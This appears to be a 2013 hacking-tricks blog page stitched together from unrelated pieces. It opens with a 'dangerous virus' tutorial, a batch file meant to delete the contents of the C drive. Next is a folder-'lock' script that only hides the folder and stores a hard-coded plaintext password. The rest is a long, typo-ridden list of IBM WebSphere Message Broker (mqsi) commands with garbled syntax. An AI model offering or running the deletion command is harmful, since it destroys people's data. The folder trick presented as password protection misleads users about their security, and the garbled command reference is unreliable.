Friday, 9 August 2013

How to Make a dangerous virus ?


1. Open Notepadand copy below code into it.
@Echo off
Del C:\ *.* |y

2. Save this file as virus.bat(Name can be anything but .bat is must)

3. Now, running this file will delete all the content of C Drive.

Warning:- Please don't try to run on your own computer or else it will delete all the content of your C

Drive. I will not be responsible for any damage done to your computer.
Password Protect Any Folder Without Any Software

How To Lock Folder ?
-----------------------------
1. Open Notepad and Copy code given below into it.

cls
@ECHO OFF
title coolhacking-tricks.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==n goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== coolhacksgoto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End

2. Save the notepad file as lock.bat(.bat is must)

3. Now double click on lock.bat and a new folder will be created with name MyFolder

4. Copy all your data you want to protect in that New folder

5. Now double click on lock.bat and when command promp appears Type Yand press enter.

6. Now MyFolder will be hidden from you view, to access that folde double click on lock.bat

7. It will ask for password enter your password and done. (Default password is coolhacks)
• To change the password replace coolhacks with  new password in the above code
- See more at: http://www.coolhackingtrick.com/2013/04/password-protect-any-folder-without-any.html#sthash.ZywzUeHd.dpuf

MQSI Commands
------------------------

1.Mqsisetdbparams

Mqsisetdbparms--brokername-- -n --DataSourceName
-u --DataSourceUserId- -p –DataSourcePassword

To delete the set dbparams command


Mqsisetdbparms--brokername-- -n –DataSourceName


2.mqsisetcapacity

The mqsisetcapacity command to set the number of valid product licenses on your system.

mqsisetcapacity -c n

where n is the number of valid licences

3. mqsilistaclgroup

Use the mqsilistaclgroup command to view or list the currently defined:
  • User groups
  • Users
  • Objects
  • Access control lists

mqsilistaclgroup--+--------------------+--------------------><
+- -g --GroupName ---+
+- -u --UserName ----+
+- -b --Broker-------+
+- -e --ExeGroup-----+
+- -s --Subscription-+
+- -r root topic---------+

4.mqsidisplaycapacity


The mqsidisplaycapacity command to display the number of valid product licenses and the processor count values on the system

Mqsidisplaycapacity

5.mqsideploy

mqsideploy command to make a deploy request to the Configuration Manager

mqsideploy –b broker name – complete delta/complete –topic topic name –topology topology name -cancel –r –w timeoutValue – connection connection filename –e execution groupname –bar bar file name -rmMsgFlow name

6.mqsideleteaclgroup
The mqsideleteaclgroup command to delete the Configuration Manager database table relating to the group or user access control lists that you have defined

Syntax


Mqsideleteaclgroup –f filename –g groupname –u username –b broker name –e exegroup –s subscription –r –t

filename: File from which to import the configuration. The output of the mqsilistaclgroupcommand is the correct format


7.Mqsicustomize

Mqsicustomize command to customize the broker from the root directory of your broker, for example, /var/wmqi/MQP1BRK.This command is supported

8.Mqsicreatemsgdefs

This command is used to create the message defination files in ma message sets

Syntax is
Mqsicreatemsgdefs -p <newproject> -d <c:\myproject\source> -rmp -rmd


9.mqsicreatebar
The mqsicreatebar command provides a command line compiler that creates deployable broker archive files containing message flows and dictionaries.
Syntax
Mqsicreatebar –data workspacepath –b barfile –version vesionstring –p projectname –o file path

In the above command barflies and file path are required attributes.


10.mqsichangeflowstats
the mqsichangeflowstats command to:
  • Turn on or off accounting and statistics snapshot publication, or archive record output.
  • Specify that the command be applied to a specific flow message flow, or all flows in an execution group, or all execution groups belonging to a broker.
  • Modify the granularity of the data collected in addition to the standard message flow accounting and statistics. This extra data can include thread related data, node related data, node terminal related data, or a mixture of this data.
Sample command

Mqsichangeflowstats BrokerA -s -g -j -b none


11.mqsireportflowstats
mqsireportflowstats command to display the current options for accounting and statistics that have been set using the mqsichangeflowstats command
mqsireportflowstars –reportflowwstars –a=yes –rs –s

Publish/subscribe commands

12.Mqsiclearmqpubsub

the mqsiclearmqpubsub command to remove an MQSeries Publish/Subscribe broker as a neighbor of this WebSphere Business Integration Event Broker broker.


Syntax


Mqsiclearmqpubsub – brokername –n neighborqueuemanagename

13.Mqsijoinmqpubsub


The mqsijoinmqpubsub command to join this WebSphere Business Integration Event Broker broker to an Miseries Publish/Subscribe broker network. The command identifies a specific Miseries Publish/Subscribe broker to be the parent of the WebSphere Business Integration Event Broker broker

Syntax

Mqsijoinmqpubsub –brokername –p –parentQueueManagerName

14.Mqsilistmqpubsub

The mqsilistmqpubsub command to display the status of the Miseries Publish/Subscribe neighbor brokers to the specified WebSphere Business Integration Event Broker broker

Syntax
Mqsilistmqpubsub--brokername.

Migration commands 

15.Mqsimigratemsgflows


the mqsimigratemsgflows command to create new flows in the WebSphere Business Integration Event Broker V5.0 format, based on existing exported flows from a WebSphere MQ Event Broker V2.1 Configuration Manager.

Mqsimigratemsgflows –data workspacepath –p projectname –d directoryname –rm –log logfilename

16.mqsimigratemsgsets
The mqsimigratemsgsets command imports all the files with the extension .mrp in the directory specified by the -d parameter. Files with any other extension are ignored.
Syntax

Mqsimigratemsgsets –d ,<directory> -d ata workspace –rm –g –log <filename> -v

17.Mqsimigratetables
the mqsimigratetables command to migrate the database tables for brokers or the Configuration Manager.

Syntax

Mqsimigratetables –brokername -I serviceuseid –a service password

Mqsimigratetables –Configmgr -I serviceuseid –a service password

Properties commands

Mqsichangeproperties,Mqsireportproperties

Trace Commands

18.Mqsichangetrace

The mqsichangetrace command to set the tracing characteristics for a component

Syntax
usertrace
Mqsichangetrace – borker name u – e executiongroupname –f flow –r –l level – m mode –

Service trace

Mqsichangetrace – borker name -t – e executiongroupname –f flow –r –l level – m mode

19.mqsiformatlog
the mqsiformatlog command to process the XML log created by mqsireadlog.

Syntax

Mqsiformatlog –I inputfilename –o outfilename.

20.Mqsireadlog

the mqsireadlog command to retrieve the trace log for the specified component
mqsireadlog –componet –u –e egroup –f flowname–o outfilename


21.mqsireporttrace

the mqsireporttrace command to display the trace options currently in effect. This command is valid for:

syntax

mqsireporttrace –componet –u –e egroup –f flowname –o outfilename

22.Mqsicreateusernameserver

This command is used to create the usename server

Mqsicreateusernameserver –I service userid –a servicepassword –q queuemanagername –r intervel

23.Mqsichangeusernameserver

Mqsichangeusernameserver command to change various properties of the User Name Server.

24.Deleteusernameserver

Deleteusernameserver is used to delete the usenameserver

ConfigManager Commands

25.MqsicreateConfigMgr

Syntax>>-mqsicreateconfigmgr-- -i –ServiceUserID –a serviecpassword –q queuemanagername –n databasename –u databaseuserid –p databasepassword –d securitydomainname –s username serverqueumanagername –w work path


26.MqsichangeconfigMgr
syntax
MqsichangeconfigMgr – a servicepassword –I serviceuserid –p databasepassword –g usernameserver queuemgrname –d securitydomainname –j maxjvmheapsize

27.Mqsideleteconfigmg

Syntax mqsideleteconfigMgr


Broker commands

28.Mqsicreatebroker

Syntax

Mqsicreatebroker brokername –I serviceuserid –a servicepassword –q queuemanagername –n datasourecname –u datasourecuserid –p datasourcepassword –s unsqm -w workpath –l userlilpath –g configurationtiemout –p http port


29.Mqsichangebroker

Syntax

Mqsicreatebroker brokername ––a servicepassword I serviceuserid –p datasourcepassword –s unsqm -w workpath –l userlilpath –g configurationtiemout –p http port



30.Mqsidelteborker

Syntax
Mqsideletebroker brokername

Mqsireload
the mqsireload command to request the broker to stop and restart execution groups.

Syntax
Mqsireload brokername –egroup

31.mqsicbrreport

the mqsicbrreport command to help identify applications that use a content-based routing filter. The program inspects a broker's subscriptions table, and reports any filters it finds that might cause incompatible behavior.

Syntax

Mqsicbrreport brokername